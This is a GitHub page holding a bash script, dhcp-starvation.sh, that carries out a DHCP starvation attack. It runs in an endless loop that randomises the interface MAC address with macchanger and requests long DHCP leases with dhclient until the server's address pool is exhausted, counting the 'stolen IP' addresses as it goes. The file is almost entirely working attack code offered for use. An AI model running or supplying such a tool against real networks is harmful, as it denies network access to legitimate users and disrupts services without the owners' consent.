-
Notifications
You must be signed in to change notification settings - Fork 1
/
dhcp-starvation.sh
101 lines (83 loc) · 1.83 KB
/
dhcp-starvation.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#!/bin/bash
if [[ -z $1 ]]; then
interface='eth0'
else
interface=$1
fi
if [ ! -L "/sys/class/net/${interface}" ]
then
echo "ERROR : Unknown network interface : ${interface}"
echo -n " network interfaces : "
find /sys/class/net/ -maxdepth 1 -type l -printf '%f '
echo
exit 1
fi
for tool in macchanger dhclient
do
if [ -z "$(which ${tool})" ]
then
echo "ERROR : The tool '${tool}' is not installed"
exit 2
fi
done
if (( EUID ))
then
echo "ERROR : This program must be run with the root rights"
exit 3
fi
if [ -n "$(which ip)" ]
then
IPCommand=true
else
IPCommand=false
fi
LEASETime=172800 # 2 days = 172800s
PIDFile="/tmp/dhcp-starvation.dhclient.${interface}.pid"
LEASEFile="/tmp/dhcp-starvation.dhclient.${interface}.lease"
CONFIGFile="/tmp/dhcp-starvation.dhclient.conf"
cat > "${CONFIGFile}" <<EOF
initial-interval 1;
send dhcp-lease-time ${LEASETime};
EOF
rm -f "${PIDFile}"
NumberAddress=0
NumberStolenIP=0
while true; do
# We kill every dhclient process
if [ -e "${PIDFile}" ]
then
PID=$(cat "${PIDFile}")
kill "${PID}"
while kill -0 "${PID}" 2>/dev/null; do
sleep 1
done
fi
rm -f "${PIDFile}" "${LEASEFile}"
# We disable our interface
if ${IPCommand}
then
ip link set "${interface}" down
ip add flush "${interface}"
else
ifconfig "${interface}" down
ifconfig "${interface}" 0.0.0.0
fi
echo -n "$((++NumberAddress))] "
# We switch our MAC address for out interface
macchanger -a "${interface}" | grep '^New MAC:'
# We enable again our interface
if ${IPCommand}
then
ip link set "${interface}" up
else
ifconfig "${interface}" up
fi
# We get a new DHCP Lease
if ! dhclient -v "${interface}" -pf "${PIDFile}" -lf "${LEASEFile}" -cf "${CONFIGFile}" 2>&1 | grep DHCPACK
then
echo "dhcp pool perhaps empty (${NumberStolenIP} stolen IP) !!!!"
else
((NumberStolenIP++))
fi
sleep 1s
done